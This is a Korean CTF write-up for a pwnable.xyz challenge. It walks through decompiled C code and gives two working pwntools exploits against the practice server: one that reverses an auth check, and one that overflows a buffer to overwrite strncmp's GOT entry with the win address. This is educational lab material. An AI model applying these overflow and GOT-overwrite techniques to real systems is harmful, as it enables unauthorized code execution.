target이 두 개가 있나보다.
Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.
menu중에 특이하게 Get shell이란 선택지가 있다. 저 선택지가 눈에 띄는 target이고 뭐 숨겨져 있는 target도 있는... 그런 문제인가?
[main]
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int v4; // eax
char s; // [rsp+10h] [rbp-40h]
__int64 v6; // [rsp+30h] [rbp-20h]
char *v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
v3 = 0LL;
memset(&s, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
v4 = read_int32();
if ( v4 != 2 )
break;
printf("nationality: ", v3);
v3 = (char *)&v6;
__isoc99_scanf((__int64)"%24s", (__int64)&v6);
}
if ( v4 > 2 )
{
if ( v4 == 3 )
{
printf("age: ", v3);
v3 = v7;
__isoc99_scanf((__int64)"%d", (__int64)v7);
}
else if ( v4 == 4 )
{
if ( (unsigned __int8)auth((__int64)&s) )
win();
}
else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( v4 != 1 )
goto LABEL_14;
printf("name: ", v3);
v3 = &s;
__isoc99_scanf((__int64)"%32s", (__int64)&s);
}
}
}
nationality는 24byte까지 입력이 가능하고, age에는 정수가 입력되며 name에는 32byte까지 입력이 가능하다. 아까 확인했었던 Get shell을 선택하게 되면 auth(&s)가 0이 아니라면 win함수가 실행이 된다. 여기서 s는 name이 저장되는 변수이다.
[auth]
_BOOL8 __fastcall auth(__int64 a1)
{
signed int i; // [rsp+18h] [rbp-38h]
char s1[8]; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
*(_QWORD *)s1 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
for ( i = 0; (unsigned int)i <= 0x1F; ++i )
s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
return strncmp(s1, &s2, 0x20uLL) == 0;
}
name에 저장된 문자열을 특정 연산을 해준 후 s2와 같은지 확인을 해주고 있다.
s2는 다음과 같다. 아마 첫 번째 타겟은 이 함수를 리버싱해서 win을 호출하는 것 같다.
for ( i = 0; (unsigned int)i <= 0x1F; ++i ) s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i); |
이 부분의 연산을 분석해보자.
a1[i]를 왼쪽으로 4bit shift한 값과 a1[i]를 오른쪽으로 4bit shift해준 것을 or연산을 해주고 main[i]랑 xor해주고 있다.
main부분의 코드에서 20byte를 긁어와서 코드를 짜주면 된다.
1. tmp1 = a1[i] << 4
2. tmp2 = a1[i] >> 4
3. tmp3 = tmp1 | tmp2
4. tmp3 ^ main[i]
이 과정을 역연산해서 payload를 짜줬다.
참고 "11110000" 이런 1byte 값으로 해당 연산을 해본다고 가정해보자. 왼쪽으로 4bit shift해주면 "11110000(0000)"이 남고 오른쪽으로 4bit shift해주면 "1111"이 남는다. 각각 원래값+0000과상위 4bit가 남게 된다. 이를 or연산 해주면 "111100001111"로 원래 값 + 상위 4bit가 나온다. 그런데 BYTE연산이니까 결국은 하위 4bit + 상위 4bit로 4bit단위로 앞뒤가 바뀐 결과가 나온다. |
[payload]
from pwn import *
context.log_level = 'debug'
r = remote('svc.pwnable.xyz', 30031)
s2 = [0x11,0xde,0xcf,0x10,0xdf,0x75,
0xbb,0xa5,0x43,0x1e,0x9d,0xc2,0xe3,
0xbf,0xf5,0xd6,0x96,0x7f,0xbe,0xb0,
0xbf,0xb7,0x96,0x1d,0xa8,0xbb,0x0a,
0xd9,0xbf,0xc9,0x0d,0xff]
main = [0x55,0x48,0x89,0xe5,0x48,0x83,0xec,
0x50,0x64,0x48,0x8b,0x04,0x25,0x28,
0x00,0x00,0x00,0x48,0x89,0x45,0xf8,
0x31,0xc0,0xe8,0x24,0xfe,0xff,0xff,
0x48,0x8d,0x45,0xc0]
result = []
for i in range(0x20):
tmp = s2[i] ^ main[i]
result.append(hex((tmp>>4) | ((tmp<<4)&0xff)))
payload = ''
payload += "\x44\x69\x64\x5f\x79\x6f\x75\x5f\x72\x65\x61\x6c\x6c\x79\x5f\x6d\x69\x73\x73\x5f\x74\x68\x65\x5f\xc8\x54\x5f\x62\x7f\x44\x84\xf3"
r.sendlineafter("> ", "1")
r.sendlineafter("name: ", payload)
r.sendlineafter("> ", "4")
r.interactive()
성공이다. 이제 두 번째 target을 찾아보자.
[main 중]
__int64 v6; // [rsp+30h] [rbp-20h]
char *v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
v3 = 0LL;
memset(&s, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
v4 = read_int32();
if ( v4 != 2 )
break;
printf("nationality: ", v3);
v3 = (char *)&v6;
__isoc99_scanf((__int64)"%24s", (__int64)&v6);
}
if ( v4 > 2 )
{
if ( v4 == 3 )
{
printf("age: ", v3);
v3 = v7;
__isoc99_scanf((__int64)"%d", (__int64)v7);
}
이 부분을 자세히 보면 v6의 크기는 0x10byte이지만 입력은 0x18byte를 받을 수 있어서 v7까지 덮을 수 있는데 age를 입력받는 부분에서 v7에 정수를 입력받을 수 있게 되어있다.
v6에 0x10만큼의 dummy값을 씌우고 v7에 got를 덮어주면 되는데 여기서 "%d"로 age에 입력을 받기 때문에 4byte만 덮을 수 있다. 그러므로 한번도 호출되지 않은 함수를 사용해야 된다. 한번이라도 호출 된 함수는 0x7fff... 이런식으로 6byte가 채워져 있어서 사용이 불가능하다. strcmp의 got를 덮어주고 age에서 win의 주소를 넣어주면 된다~!
from pwn import *
r = remote('svc.pwnable.xyz', 30031)
win_add = int(0x40099c)
strncmp_got = 0x603018
payload = ''
payload += "A"*0x10 + p64(strncmp_got)
r.sendlineafter("> ", "2")
r.sendlineafter("nationality: ", payload)
r.sendlineafter("> ", "3")
r.sendlineafter("age: ", str(win_add))
r.sendlineafter("> ", "4")
r.interactive()
두 번째도 성공이다.
'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] TLSv00 (0) | 2020.05.29 |
---|---|
[pwnable.xyz] Free Spirit (0) | 2020.05.26 |
[pwnable.xyz] xor (0) | 2020.05.19 |
[pwnable.xyz] note (0) | 2020.05.08 |
[pwnable.xyz] GrowUp (0) | 2020.04.25 |